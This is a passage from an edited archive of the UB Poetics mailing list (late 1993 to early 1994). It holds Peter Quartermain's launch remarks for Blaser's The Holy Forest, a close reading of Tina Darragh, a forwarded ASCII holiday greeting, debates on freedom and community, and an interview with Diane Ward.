@poetics

The UB Poetics Discussion Group

Archive of Electronic Correspondence

Volume I — 1993–1999

73 monthly editions · 39,806 messages · December 1993 – December 1999

Edited by Kristen M. Fabians

These are the reading editions of the Poetics List of the University at Buffalo, and this volume holds its first seven years — from the first message in December 1993, when the room was a few dozen people and a new idea, to the end of 1999, by which time it had become the loudest argument about poetry anywhere. Thirty-nine thousand eight hundred and six messages across seventy-three months. The list arrived at its subjects early and never finished with them, and what this volume records is a room learning, in public and at speed, what it was for.

Each month is set down in full and in order, exactly as the archive delivered it, and opens with an index of its writers, of the names its posts mention, and of the concepts they take up — every entry a link to the message itself. For each post the author's name, the subject and the message are foregrounded, and the date is kept but subdued. Machine headers, encoded attachments and the repeated listserv routing that once framed every message have been cleared away; email addresses, telephone and fax numbers and similar personal contact details have been redacted.

University at Buffalo, State University of New York

Volume I — 1993–1999

73 monthly editions · December 1993 – December 1999. Every month links to its opening.

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The UB Poetics Discussion Group

Archive of Electronic Correspondence

December 1993

2 messages · Wed 8 Dec 1993 – Wed 8 Dec 1993

December 1993, and the list is scarcely three months old — a room still mostly empty, its few voices carrying all the further for the quiet around them. The month leaves only two letters in the archive; yet between them they rehearse the whole future argument of the place, which is finally an argument about two objects: what a book is, and what a word is. From Vancouver, Peter Quartermain sends down the text of the remarks he made at the Western Front, where Robin Blaser had just launched his collected Holy Forest to a room of some two hundred. Quartermain confesses he had set out to mark the passages he might quote and found himself marking everything — *“These poems utterly resist predatory reading”*, he decides, and resolves to read them aloud instead.

The launch arrives already choral, prefaced by five wishes wired in from those who could not come. Phyllis Webb salutes Blaser as *“the great moth that can't be pinned down”*; Michael Palmer gathers the whole company into *“the Lost & Found Department of the Holy Forest”*; Fred Wah, Michael Ondaatje, and Charles Bernstein add theirs from their several cities. It is the list's oldest gesture, performed before the list quite knew it had one — the poets assembling, at a distance and by wire, to honour a book into the world.

Against that celebration Kenneth Sherwood sets a smaller and stranger offering, a close reading he titles Violent Dictionary, tracking Tina Darragh's alphabet-poem through its wrenching and wrestling of the letter with Judith Butler kept close at hand. He forwards his copy-text with an apology and a wink, proposing that a network might yet manage *“hacker anarchy with etiquette”*. Two letters only, and a season's worth of silence around them; but the terms are already set — reverence and mischief, the book and the machine — and the room, as it fills, will spend years arguing them out.

— Kristen M. Fabians

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Every entry links to its message. 2 in all.

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1. peter quartermain

*Robin Blaser: Launch of _The Holy Forest_*

Wed 8 Dec 1993

Robin Blaser's new book _The_Holy_Forest_, published 30 November by Coach House in Toronto, was officially launched with a reading by Blaser at the Western Front in Vancouver, 3 December 1993. What follows is the text of my introductory remarks, prefaced by five messages received from those unable to come. For about two hours Blaser read to well over 200 people: a new work _Fax 1 (to Sharon Thesen_, followed by the whole of _CUPS_, _Image-Nation 9 (half and half_, "yellow ribbons", "As If By Chance", "Interlunar Thoughts", "Even on Sunday", "in the tree tops", _Image-Nation 24 ("Oh, Pshaw"_, _Exody_ and some others.

1. [from Michael Ondaatje, Diana Martin, Margaret McClintock and everyone at Coach House Press:]

    Everyone at Coach House Press is thrilled
     and proud to be
    publishing this book.

2. [from Phyllis Webb:]

    Dear Robin:
    You are the great moth that can't be
    pinned down. Thank you for that. Thank
    you for your moth music, for all your
    perfect canticles.
                Phyllis Webb

3. [from Michael Palmer:]

    Night out west, early this time of year,
    and I'm thinking in the dark of the dark.
    I'm thinking of the sweet darkness, the
    burning pages -- a dream I remember called
    In the Dark. About being lost, of course.
    In a dark wood. I'm thinking of friends
    such as Robin, all of us, in the Lost &
    Found Department of the Holy Forest.

Love from the company in your other city,
Michael Palmer

4. [from Fred Wah:]
Dear Robin:
Another night in the forest. I wish I
could be there with you tonight, among
the silences, lost in the indecipherable,
forgetting the way in order to find it. I
can almost hear your voice over the Rockies,
your careful deference to the wild
residue of the inside word, your handsome
astonishment at the beauty of the book.
But, surely, it's not the end of the plot?
Congratulations
Fred Wah

5. [from Charles Bernstein:]
I'm not sure what sort of note I could send
to Robin re. _The_Holy_Forest_, except that
there is no book I have waited for longer
or with more eagerness and I appreciate
all that Blaser has done for and in poetry
and poetics, without which I don't know how
I could have gotten any grounding at all.
Charles Bernstein

[The unspoken title of my remarks
was "(no fixed address)"]

When Stan Persky and Coach House Press asked
me to introduce Robin tonight I started
marking up passages in _The_Holy_Forest_ that
I thought I might quote, only to discover
that I was marking *everything*. These poems
utterly resist predatory reading. I'm not
going to take up much of your time, and to
make sure of that, I'm going to read to you.
For there is so much, and so little, to say.
"a candy-wrapper with a phone number / on it
suffices to call the largeness, and / the
smallness." Of all the poets I can think of,
none so quickly -- in the space of two lines,
three perhaps, draws the reader so into his

language, into the world of the poem, into the imagination. The poems retrieve what we did not know we'd lost, but whose lack we mourn. They retrieve the reader's imagination, retrieve imagination, reminding us of what it is, then, to read. Composing the good, the imagination invents its own landscape by seeing where it is.

The fact that we have lost our way in the holy forest does not mean we can shit in the soup. or cut down the trees. or lose our alertness. It is a place of terrors and wonders. It is the only forest we've got. And it's unknowable. "transcendence," the poet tells us, "like ourselves is historical, even in dreams" (324). That's why the truth is laughter.

Of course there's another way to say this: in Allen Ginsberg's words, we're not souls, communicating, we're just meat talking to meat. And *that*'s all we've got: "a lacunary system, a cosmos unsure of its postulates" (368). The absurd comedy of that condition is also an absurd nightmare, of course. But spirit begins in matter -- as does our language and all histories.

There's another way of saying this, too. Blaser says it with great wit:

> If there's one thing Harry learned
> to love more than the sacred, it was
> the sacred in ruins.

This is the only world we've got. There has always been a garden and it has always been among the ruins, a path, and a relief. If paradise is to be found anywhere, it can only be found here. The difficulty with Heaven and Hell is that it's hard to tell the difference. Each, after all, is a source of light, and neither is a source of ease -- the sense of paradise includes its loss.

But turn your back on the sacred, shit in the soup, and all hell breaks loose. Turn your back on the sacred and you force it into the violence of leashed imagination, which will burst its bonds and us in the process; turn our backs on the sacred, make the artist (as one poem quotes) _the_deodorant_puck_in_the_ urinal_of_life_ (191), and WE erupt into violence, or we become dull grey, the poet tamed, our dreams our musics and our architectures our joys our sorrows our passions come home at last members of no more than a classroom education.

Blaser is the poet who makes a stink. He reminds us that we are creatures of language and it is our very nature to be in need. He is the poet of disturbance; our doom is that there is always more, and the only surety we have is the violence of our desire. What holds these poems, what holds the attention, is the strength of their passion and their love, their attention to what is. The mind / the poet / the imagination exfoliates , in-forming and out-forming, the dis-covery re-covery of what is and what-it-is-to-be alive. Mind as body, thought's flesh. Making sense / making Sense / extending the perceived/able. the unseen is not beyond our vision. Blaser is a visionary poet, but not by that with his eyes on any world but *this* one. A great player of syntax, sound, and line break, Blaser always resists completion, every line always turns to another -- or to potentiality, potence -- never resting, but without display.

The event we are celebrating tonight, the publication of _The_Holy_Forest, is major. I can't think of another book of Canadian poetry which has been so anxiously and eagerly awaited, and which is so well worth the wait. It is an astonishing and wonderful

book, the integrity of the writing, the
refusal to pander to taste or to fashion, to
kowtow to the demands of others, unmatched
save perhaps by Basil Bunting and Louis
Zukofsky. Please welcome (and honour) Robin
Blaser.

Peter Quartermain
3 December 1993

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2. Kenneth Sherwood
Violent Dictionary
Wed 8 Dec 1993

Tradi{c}tional Close Reading : Tina Darragh's "'A' was for 'ox'"

A movement/moment from on/off too. As if "A" were dependent on "ox" which "suddenly exposes his autonomy as illusory." ("Theoretical" qts. from Judith Butler, _Gender Trouble_)

"A" as in origin, as in "the political stakes in designating an origin and cause". (B) "Those identity categories that are in fact effects of institutions, practices, discourses..." (B) "The elements surrounding it were strong..."(D) A site of ordering, an arbitrary "a b D ".

It is "motor-wise' to write: write our own ticket..." as if
volition; "write-down" as if fixed, a unified construct;
"write in" as if believing there were the potential for change,
political actions. Representation in both senses:
mimesis and a political standing in for.

What is "edge". Where the lines broken by contingencies
of a book's form. These happenings are quite random, occur
naturally, *cannot yet be predicted with significant accuracy*?

Trying to convince students that words don't _come_ from
dictionaries, aren't born there, that their (who be they?)
status in The Book is an effect/affect.

Resist "con ce s s i o n . ' '

That a subject be defined in order to be (re)presented.
Requirement of articulation through received forms
in order to challenge said forms with efficacy.

KS

Copy text:

(Below is a translation--presumably illegal--of Tina Darragh's published, copyrighted poem. Please don't forward this all over the place. We can have hacker anarchy with etiquette, right?)

from %on the corner to off the corner% Sun & Moon 1981

"A" was for "ox"

The first oxygen conversion occured as an incline, a sharp bend as in "wrench". The elements surrounding it were strong, physically violent ones--wreck, wrestle, wretch--with the exception of "wren". The next major activity was "wrinkle", again related to "wrench" with the addition of "wind". Wrist action proceeded from there--wrist-lock, wrist-pin, wrist-shot, wrist wrestle, wristy--preparing us "motor-wise" to write: write our own ticket, write-down and write-in.

"elaborative" to "Eleatic" for "D"

"Egg" and "oxygen" both contain "edge", with egg's edge located at "share" and oxygen's at shear". The distance doubles from one to the other along this line: shar et vb farme atim domin numer iz cti porta acio torti him sho SHAG low ME L dou sha tio HE min ears cou ock metim semb dj

---

Kenneth Sherwood | RIF/T (e-poetry@ubvm)

"Fragments are [redacted] | our wholes" --Clark Coolidge

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The UB Poetics Discussion Group

Archive of Electronic Correspondence

January 1994

1 messages · Wed 5 Jan 1994 – Wed 5 Jan 1994

January 1994 keeps only a single letter in the archive, and a comic one. Charles Bernstein, twice thwarted in the simple act of forwarding, at last lands on the list a message relayed by Linda Reinfeld and originating with Sander Gilman of Cornell — nominally a note on race and object relations, in the event mostly an enormous slab of festival ASCII art wishing the world a happy new year in some forty tongues at once. The machinery, not the argument, becomes the story: Bernstein reports he has learned his lesson, having discovered the hard way that one must *“do not violate boundary codes invisible or visible”*.

It is a slight thing to stand for a whole month, and yet oddly prophetic of everything to come. Here already is the list's abiding double life — the high seriousness of its subject-lines set against the low farce of the medium that must carry them, the poets forever tripping over the very wires that let them speak at all. One letter; file it, for now, under the comedy of transmission.

— Kristen M. Fabians

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1. Charles Bernstein

sander gilman's tree live and in person

Wed 5 Jan 1994

[for the 2d time I've had a problem with forwarding items to the list. sorry for the nuisance. Apparently it has to do with the boundary code above. I have learned my lesson: do not violate boundary codes invisible or visible.]

Forwarded by Linda Reinfeld <[redacted]>

Date: Fri, 24 Dec 1993 18:38:18 EST
>From: "sander l. gilman" <[redacted]>
To: Multiple recipients of list PSYART <[redacted]>
Subject: Re: Race and object relations

I hope that you and yours have a restful and most pleasant holiday season.

```
 *%\@/*%$%*\@/*%$%*\@/*%$%*\@/*%$%*\^/*%$%*\@/*%$%*\@/*%$%*\@/*
%$%*\@/*%*
> *                          .                          *
> *                         .|.                         *
> *                         -*-                         *
> *   Athbhliain Faoi Mhaise!      '|`          _    Happy New Year!   *
> *   Frohliche Weihnachten!       *:*        ("D     Chag Sameach!   *
> *   Sarbatori Fericite!         * . *       ~(=r      Boas Festas!   *
> *   Joyous Solstice!           **   **    .../__\       Gut Yontif!   *
> *   Mele Kurisumasu!         *** o   ***    [ SM ]      Iyi YIllar!   *
> *   Mele Kalikimaka!          *\    O *            Wesolych Swiat!   *
> *   Merry Christmas!         ** \\    **           Velelykh Svyat!   *
> *   Happy Hanukkah!        ***    \\   ***        Stastny Novy Rok!   *
> *   Pari Dzounount!         * o     \\  *        Kelemes Unnepeket!   *
> *   Happy Holidays!         **    O    \\**      Season's Greetings!   *
> *   Veseli Vanoce!        ***\\       o  \***     Gung Hay Fat Choy!   *
> *   Feliz Navidad!         *   \\  o       *      Felican Jarfinon!   *
> *   Joyeux Noel!          **  o  \\    O   **       Joy to the World   *
> *   Bom Natal!         ****        \\     o ****      - And to All a   *
> *   God Jul!            ** o     o  \\ o   **          Good Night!   *
> *   Cheers!            ***     O       \\    ***                    *
> *   *:D       o_      ****************************
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> **********

Sander L. Gilman
193 Goldwin Smith Hall
Cornell University
Ithaca, New York 14853
e-mail: [redacted]

--Boundary (ID cW989PpHuTQYJLg6i7KhrA)--

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The UB Poetics Discussion Group

Archive of Electronic Correspondence

February 1994

84 messages · Tue 1 Feb 1994 – Mon 28 Feb 1994

February 1994 is the month the room finally fills, and the weather it fills with is theory. Where December had left two letters and January one, the shortest month of the year runs to some fourscore, and nearly all of them are arguing — with a seriousness the young list wears like a borrowed coat that has not yet been broken in. Three words preside over the traffic, each trailing its own thread of replies: freedom, community, and, in Patrick Phillips's insistent phrasing, the social poem. The poets have discovered that they are a group, and cannot decide whether the discovery is cause for hope or for suspicion.

The freedom quarrel comes first and stays longest, conducted chiefly between Benjamin Friedlander — far and away the month's most tireless correspondent — and Tom Mandel, with Jean-Luc Nancy consulted in the wings. *“You seem to understand freedom as possibility”*, Friedlander writes, and then worries the formula against its opposite, the renunciation of possibility. Mandel answers in a compression close to verse: *“By leaping I would have said”*. It is the list arriving, almost by accident, at its characteristic pitch — abstraction driven until it turns lyric.

Beneath freedom runs the deeper and more anxious thread: community, and whether a mailing list can honestly claim the word. The correspondents reach past themselves to Blanchot's Unavowable Community and to Pierre Joris, who had a hand in carrying that book into English, and circle the paradox of a community of those who have no community. Patrick Phillips, declining to let anyone retreat into the merely aesthetic, plants the flag that the rest of the month will orbit: *“This is personal, it is ideological, it is social”*. Nobody is quite persuaded, which is precisely how the list prefers its persuasions.

Around these two great subjects the smaller threads cluster like satellites — an argument over the book arts and the fate of the printed object, a puzzled inquiry into what exactly is meant by wobble, a flare-up under the splendid subject-line Martin Spinelli's reply framed in Error. Joe Amato and Loss Glazier and Steve Evans move among them, and the institution itself comes in for interrogation: whose room is this, and who set out the chairs. The transcriptions, one poster notes, begin as the discussion gains speed — as though the talk had outrun the means of recording it.

What one hears, reading the month straight through, is a list teaching itself to think in public — the very thing it will still be doing at the century's far end, when the subject-lines have changed but the appetite has not. I have arranged the letters so that each voice stands forward under its own name, its telephone and its address returned to privacy, the machinery of its delivery swept quietly aside. It is worth remembering, amid so much argument about community, that this is what a community sounds like before it is sure of the word: these were letters before ever they were literature.

— Kristen M. Fabians

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8 FEB 1994

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9 FEB 1994

14. Joe Amato — RE: the social poem
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71. Belle Gironda — community a'gin
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84. Hans-Joachim Rieke — community, gender

1. Benjamin Friedlander

freedom

Tue 1 Feb 1994

Tom, I'm happy to see your elaborations and further musings. I think, finally, that our differences of opinion have little to do with Jean-Luc Nancy per se, nor even, perhaps, on the meaning of freedom. You seem to understand freedom as possibility. To think and to act freedom is at once to accept this possibility and to distend it. Freedom is thus both given and beyond the given. For myself, I would say that possibility is how we *know* freedom. This knowledge is what's "given"; given, strangely, as the possibility of *surpassing* knowledge, of going "beyond" the possible. In practical terms the difference between our versions may not be all that great.

I don't, in any case, believe we can legitimately talk about freedom without positing the possibility of a freedom beyond the bounds of knowledge. Again I insist, to speak of a paradox of freedom, of a knowledge of something that surpassses knowledge, is not to fall prey to paradox. We are attempting to take the measure of the abyss our thinking would leap. You say, thinking *can't* accomplish that leap. I say, we take the measure of an abyss only by falling.

Well, I characterize your argument in many ways that you might not accept. I do so in good faith, simply to note what I think is the principal difference of opinion between us: whether or not it is useful to entertain a thought that begins or ends with the concept, with the positing of pure forms and essential states of being. Here two questions assert themselves:

1) Has the universal been exposed as untenable, as polluted by concerns more properly understood in terms of ideology?

2) Is thinking now possible only when situational, when beginning and ending with the particular?

I'm not going to sort these threads out here. Let me say instead that my own interests, as a poet and as a graduate student, lead me time and again to examine the contamination of discourses. My skill as a reader, if I have any, is my sensitivity to this contamination--intertextual knots fascinate me, places in texts (poetic, fictional, philosophical) where something foreign or anomalous has intruded. The logic of this contamination has everything to do with the persistence of conceptual categories. The refusal to think them, the avoidance of analyzing their workings, of learning their histories (on the grounds, for instance, of decrying universal or essentialist thought), does not free us from their hold.

Ben Friedlander
From: IN%"[redacted]" "UB Poetics discussion group" 1-FEB-1
994 09:26:34.80

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2. Tom Mandel
freedom
Tue 1 Feb 1994

Not possibility but the renunciation of possibility or the experience of that renunciation, but this may be a difference not of opinion but of situation in life/time/space.

In its utter particularity the "thought" of poetry may be said to rejoin singularity as universality in philosophy or maybe better in theology, which despite Johanna's animadversion's is more or less how I experience philosophy being dealt with on this net. Note that I don't use the word pejoratively (act- ually, I know *you* know that of me, but other readers mightn't).

I have a sense from you that's not personal, i.e. not you personally, of lack of hope, as in we measure an abyss by falling. By leaping I would have said. This is perhaps your moment in history, and your moment is more accurate than mine for sure; I was raised in a social order that not only dominated but actually comprised most of what was (US had 40% of world GNP in 1946). W/o knowing it, one felt that the world offered itself up. Ergo, I bought Miles Davis a drink when I was 15; he was wearing a gorgeous pigskin overcoat and his fingernails were as lustrous as pearls. When I was in Europe for the first time, I was a scruffy and (I thought) bohemian student. But a middle class restaurant dinner in Paris cost what a coke and fries had at home. The way it was.

How conceptual categories work does not equal the contamination of discourse, but both these matters need vigilant analysis, you are right. "Places... where something foreign or anomalous has intruded" on the other hand, may be a fine way to characterize discourse, where we must see the "foreign or anomalous" as the source of that discourse's value. Yet we will never succeed to tribalize the language of the pure.

By redemption we mean "to save," and so far from being irrelevant or intrusive (except as defined in the paragraph above), this concern is at the heart of those acts we (e.g. Johanna, or you) call "commitment," "love."

I like the way it was put by Resh Lakish:

(b. Sanhedrin 119b) Whoever answers `Amen' with all his strength, for him the gates of paradise are opened. As it is said (Isa. 26:2): `Open ye the gates that the righteous nation, who preserves faithfulness (shomer emunim) may enter.'

Do not read shomer emunim (who preserves faithfulness) but rather she-'omerim amen (who say Amen).

as ever,

tom

********** T O M M A N D E L ********** 2927 Tilden St. NW * Washington DC 20008 * Voice: [redacted] [redacted] FAX: [redacted] **********
From: IN%"[redacted]" "UB Poetics discussion group" 1-FEB-1 994 15:21:08.53

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3. Patrick Phillips

Imaginary Movie

Tue 1 Feb 1994

This is a reply to a personal posting. I couldn't contact the person who sent it to me, so I've remove the name.

I suppose this may be regarded as a patient articulation, my take on IM. What filling out of the poem this accomplishes I deny. This isn't my "goal." But my "goal" is to tend to some of the structures of imagination elicited of me by IM. I suppose by posting your note you had no idea I would respond, or attempt to respond, so fully. But, as it so happens, today is devoted to tomorrow's class and you've done me a great service. I hope it doesn't turn out to be a great maze for you.

I too have to admit a dissatisfaction with the "pleasure of the text," that its giving is to say the least opaque, its color often as delightful as the package P&P put together. This grayness can be phonically supported by my take on her reading of the poem at the Ear in NYC; it too being modulated to the point of evaporation, read through with only occasional, slight pauses at line breaks and with little audible support for the mental knots she ties. (However, she is very quiet and calm in personal conversation). This said, I still regard the text with a great pleasure, perhaps more with the "jouissance" that Barthes intended. Another Barthes statement on pleasure: "...pleasure in pieces: language in pieces: culture in pieces. Such texts are perverse in that they are outside any imaginable finality--"even that of pleasure" (bliss does not constrain to pleasure; it can even apparently inflict boredom)."

What I'm getting at here is that the textual evidence of IM may not have to partake in a paradigm of pleasure to emit, or engender a cultural artifact. Granted, the cultural/poetic artifact of suspended modifiers, non-substantiated prepositions, oscillating predicates et al. has long instigated a politics of text which by now is easily seen, or tolerated (that sometimes we critics/poets

remain hostage to the tropes and the critical discourse that was intended as liberating). Granted the "freeze-frame" metaphor is only neat when tied to the title and then perhaps only tropic; and that the six line strophes (I say strophe instead of stanza because of the attendent personality in "strophe" which means, among other things "apartment" in Italian, whereas, stanza, among other things, means to "mental posture") only provide marginal support for the metaphor of movie, or for the internal poetic structure of each six line unit. This characterization of some the structures of the poem would in many critical circles be a pan, a thumbs down in siskel and eberteze. Yet, under my criteria and reading practice another, quite successful text surfaces.

I don't "read" this text so much as allow it to sound out its own cultural relevance. This is not as passive as it may seem. This sounding invites a text which is an "imaginary form" which insists no matter how digruntled I may become with the way the text sits on the page. Its imaginary form becomes a discussion between my imagination and the culture's and the poem's, a discussion which often absent from the page entirely. This absence, or in effect ascribed culture, is what keeps me. Often this keeping is similar to the hostage taking as mentioned above, but it remains political in the slippage between those participants in the discussion. It is this slippage which is the field of intervention for me. This is the level of engagement. This is personal, it is ideological, it is social. You mention the social as a field of intervention. So often, even in O'Hara and Reznikoff, I feel the poem is a description of something material, a personalization which elementizes some margin running the gamut from imprisonment (I as the disenfranchized interlocutor of poetic/cultural condition) to oration (I as arbiter of the imaginary condition). This field of intervention I often find less entreating, in some ways less the jouissance, an more an efigy of the entrapped or of entrapment. As to the materialization of the social field of itervention Wittgenstein said "Psychology connects what is experienced with something physical, but we connect what is experienced with what is experienced." I ask what then does poetry connect?

Now is this "blackmail?" (the Barthesian blackmail of theory) I'm not sure. I'm also not sure what you mean by the poem's and the theory's autonomy; I'm not sure there has ever been such a thing as theoretical autonomy, certainly not technological autonomy. And when it comes to technology, not much can be left out. The theoretical apparatus evident here of course is not culturally bankrupt, certainly it isn't grammaticaly bankrupt even if it is sometimes critically tedious. The fact that the theoretical aparatus no longer provides the surprise, and then perhaps the strangeness, needs deparately to be examined. But the condition elemented by the grammar emerges, or maybe the grammar elemented by the condition emerges. Sure the often "found text" quality of her work speaks to a possibility of a text made powerless by its automaticness, that

risk that much experience-based art suffers (I'm thinking of Surrealism, Dada, Minimalism, even some Absract Expressionism). But her insistence that this experience never be deflated, or deflected by appropriative gesture, be that through an acquiescence to theory, to the text, or to the culture, or importantly to imagination, speaks to the possibility of this text to reveal the often conditions of mind and society. No structure is independent here and each is spatially dis-posed and recomposed.[It strikes me that the form she has adopted may be an effort to channel the constant abridgement of this dis-position into a consumable form, a bite-sizing of experience,to effect more of a tension between elements and thereby permit more experiential hinges.] Another thing which may contribute to these pieces opacity is that they take on an epigrammatic tone and in that some morality which when viewed under a theoretical umbra disengages the personal from the textual, perhaps interupts the very thing which makes an epigram work. But I'm not so interested in that as a stumbling block to the poems effectiveness. I am concerned with the experience of the poem which insists upon an ideology for its effectiveness.

"I can only hazard it" (pg 85) aside from encapsulating the pronoun shift and the subsequent question of being in action, speaks not only of the hazard of this movement from "I" to "it" but also speaks of the obstacle toward acting and guessing, or thinking. These permutations are held in place (position is so vital here) by the shape of technology. The shape of technology here is much like "a place to put the eye" and the struggle between the technology as in human art and technology as in capital industry, but also the struggle between the personal and the social, the private politic, the body and the "apartment" it is in reveals what "color contends for, eye" The concept of a destabilized I shifting from definite to indefinite, viewer to view is always engaging the machine of that coordinate structure I -- technology -- eye. These places of contention are constantly destabilized by the visuality, but they always promote a imaginary bifurcation which is in-effect a dialectic. To go further would be to fill out...

Of course one of if not the most important features of this movie is its sexual composition. As a man, I can not put my finger on it without its touch being an additional technology for the text to contend with. Nonetheless, these "loaded fingerings" (p79) bear the same shifts, the same constant limits, or positions that the text is constantly critiquing. This is not only the figural body of the text, but of an opression which is spelled out in a "finite number of units," a real body. The transparency and caculability of currency, of surplus and exchange require this tension to be placed upon the body and upon the poetics. The internal is never exiled by the external, nor is it ever completely decribed by it. Most importantly, though, the internal the "inner" is not completely collapsed by or filled by "economic arousal" the text itself is evidence of this, not to mention Diane Ward's existence. The text suffers its own visuality which

engenders an imagination engaged with sexual conditions. If the mind/brain is the largest erogenous zone, what is the mind's eye and what is this eye in the field of social intervention. What is its field of vision?

This is not so much ingratiation of the text, or a display of my enamored economy, as it is a stir of the pot of my considerations. It barely envisions only some of the concerns and even at that sometimes thinly. It would be good to hear any comments.

Patrick
From: IN%"[redacted]" "UB Poetics discussion group" 3-FEB-1
994 09:47:01.59

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4. Patrick Phillips
Interview with Diane Ward
Thu 3 Feb 1994

We (Patrick Phillips and Diane Ward) had this informal discussion/interview on Tuesday, February 1, 1994.

We primarily discussed the title poem of *Imaginary Movie*, Potes and Poets, 1992. The transcription begins as our discussion gained speed.

None of this should be published elsewhere without contacting Diane or Patrick. I didn't get a "release" from her and want to respect her privacy.

The interview was interrupted, which I thought appropriate, by her son who still needs to be by her side after the earthquake. I was interrupting his sense of safety, which wasn't entirely appropriate.

P Its form becomes a discussion between my imagination, the culture's imagination and the poem's, a discussion which often is absent from the page entirely. This absence, or in effect ascribed culture, is what keep s me. This keeping remains political in the slippage between those participants in the discussion. It is this slippage which is the field o f intervention for me. This is the level of engagement. This is personal, it is ideological, it is social. I'm very interested in the function of the imagination in this field.

Here her son needs her and the question goes unanswered.

P The poem sets up frames...

DW They are frames for the "viewer" the author and the reader trying to deal with the screen which is the poem for conversation, the back and forth dialogue. where the writing exists is in the dissolving aspect of the work.

P The grammatical situations are often setting up ideological frames (pg 49)

DW Which is a context for the discourse
The text is intent on not allowing the individual so much

I don't see the frustration or violence of erasure in the text as a negative thing. I'm trying to deal with the nature of that exchange between, not so much the writer and the reader, but the person and society, or the person and authority and how to reclaim that self within the context of the language and the visual context of your existence. The constant barrage of information. That's what I'm dealing with and that piece. And it's successful in that way and I almost don't want to write after that. Of course I am. (pg 36)

P Why is it successful?

It's formally on the page this contained thing. I think each individual frame, in terms of its meaning, or its series of images, is always frustrated,it never congeals, or it never comes together as a formal frame in that context of the page. So that it frustrates the control of the formal page by subverting it, by frustrating the logic of expected images.

P Is the writing cultural or theoretical. I think if you write out of a thecultural you write "of" something; if you write out of the theoretical youwrite for something. And I think you note this later on in the poem. (pg 91)

DW Well I think that's there. You can almost call the cultural a starting point or a recognition of position and the exploration in terms of the theoretical would be, not the solution of the problem of position, but.. .. (p 37) P a tool with which you...

DW where they are played against one another. A lot of times in my work, not only in this piece, but in other work, I try to subvert the duality of thought, of experience. I really work with that pretty consistently. Through the use of language and images.

P Wittgenstein (in Remarks on Color) said "Psychology connects somethin g experienced with something physical; we connect what is experienced with experience." By setting up bifurcation and abrogating that agreement sets up a soft focus on the edges of those experiences so that they meld. ...

DW Um hmm...

P Another thing which may point to this is the kind of thing you set up in a line like "I can only hazard it" aside from encapsulating the pronoun shift and the subsequent question of being in action, it speaks not only of the hazard of this movement from "I" to "it" but also speaks of the obstacle toward acting and guessing, or thinking. ...

DW ...and the overcoming of the obstacle.

What you said about the psychological earlier. In order to ground my work I keep bringing it back to a real personal, physical experience of it. As a woman it's really kind of hard to emphasize the body imagery without getting tangled up in these cliches. I don't really us it in a feminist body conscious kind of sense. I use it to grasp the more abstract aspect s of perception. To bring the world which is at those soft edges back, to letit go, to bring it back. (pg 85)

P I like that. I find comfort in that. Not only in the way you use light to dispose of a very physical situation but to return to a physical situation. And then you'll use shadow as a notion between those two physicalities and immaterialities. (pp 50, 51)

DW And I find it really workable to even the field that way to bring this work which could go off into nowhere. It's almost a political act. It emphasizes all parts of discourse and experience equally, and that's also very important to me. It's part of that subversion of the duality process.

P This is what I was saying about imagination. That once the form of the poem becomes a discussion in my imagination, the slippage between these aspects that's off the page, it becomes a political act because these things begin to intervene on one another, socially and that becomes a function of the imagination and it becomes replayed in this conversation for example, in the class tomorrow, or in my own work. It's very instrumental. And I'm wondering if that's experiential in your part or cognitive, in other words as you're writing do you erase and rewrite to build in this, or do you allow it to build on its own?

DW I think the latter. I would allow it. I work a lot and rework it. I am really interested in the process of the discourse and not really the discourse itself.

P So it's not so much a political agenda, but an ontological one, or an experiential one.

DW Right. The experiential is really important to me.

P Of course one of the most important features of this movie is its sexual composition. As a man, I can not put my finger on that sexual composit ion without my touch being an additional technology for the text to contend with. That once I describe it, it (the sexuality) is conscribed, that it is no longer an experiential condition, but it is also no longer female. (79, 95, 65)

DW What I really hope is that my work that I do is not that ephemeral, that your discussing it conscribes it as you say. A lot of what I do in talking about allowing these discourses, or exploring them, is just that , is allowing the technological to exist along side the sexual and not reallymaking a judgment about the clashes so much as exploring them.

P Shifting to a more formal characterization, the frames seem sometimes t o take on an epigrammatic tone and in that tone some morality. I'm wondering how when I say epigram and morality, how that strikes you.

DW I think that when I set up that formal frame and that I had to almost work against it. There's a play. Some of the pieces are open ended and some of them are very well scribed and refer back to themselves. In a wa y I think that's very formal concern and a playful nature of the piece. Th e whole morality thing I think is part of the voice that comes in reaction to whole idea of the big screen and the control of that. Whether it's true, whether it's a real moral voice I'm not sure. (pg 72 -"tightly scribed")

P I'm interested in what people call fragments.--Holderlin's Hymns and "Fragments," or that people call A Tomb for Anatole "fragments," or that Creeley's Pieces may not really be pieces as such.

DW Well. I'm not interested in that so much. One of the things is the formal and the way language is used in that in contrast with each other and it is again not making a value judgment on a nice formed piece. I find this thing Imaginary Movie frustrating in that way. That "Oh this isn't finished, or it's just a fragment because of the way it's laid-out.

P I don't see a Tomb for Anotole as fragment as such. Whether he wrote them on scraps of paper, or in shards of passion, they're not fragments, but it's fascinating that people would consider them as such.

DW It's not only fascinating, but it's a little annoying. That you would have to, as a writer, as a poet would have to conform your work to what can be read as a finished piece. How frustrating. How insulting. A lot of people have dealt with that in a more thorough way, Jackson Mac Low for example. It's part of what I'm doing. From: IN%"[redacted]" "UB Poetics discussion group" 4-FEB-1 994 11:19:37.15

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5. Catherine D Yates

RE: the book arts

Fri 4 Feb 1994

Joe: "One of the issues I find provocative is the idea of using hypertext as a metaphor for constructing a different sort of printed text...what if one were to...--- take the electronic form, ...and push it metaphorically in some unexpected *material* directions?..."

Joel: "What do you mean by printed text...forgive me for needing examples" & "I have been fascinated with the

concept of the Search Engine and the logic of search strings...wandering free in a field of unrestricted text...you find what you ask for..."

I am replying not because of what I know about hypertext and search string technology but because of what I know of the opposite if we can take the simplistic duality of print making, writing and electronic writing, searching as a point of departure, more simply, to address your queries in terms of oldslow and newfast.

I just learned how to operate a lithographic press. You pull the bar down on your plate (stone), put the clutch in, & turn the cog. Ink is smashed into the paper under the pressure of approximately 900 pounds per square inch. If you forget to take the clutch out before you lift up the bar, the handle on the cog will fly toward you, hit your nose at great unstoppable speed & break it. You will have to find someone willing to clean up the blood with appropriate blood safety anti-viral gear.

One thinks about an image, what would you want to draw on such a plate (stone) and as a poet what would you write on it?

Few of us have drawing skills, are trained to reproduce in charcoal the sinews and breasts of the human form. Few of us have this same knowledge put into choosing words which could describe our experience of living or even to convey information to someone.

For example what I draw on a hard ground zinc plate is closer to an after-image, a burnt and glinted shape just left of your pupil inside the tissues of your eyelid, of a bluff in the Hudson River Valley north of White Plains than God's hand reaching for Adam though that might be what I mean. (no Feminist version of this reference comes appropriately to mind)

It takes me a month of dips into sulfuric acid and tireless wiping ink into the crevices of the zinc to figure this image onto the page, an image which registered in my mind in just a fraction of a second

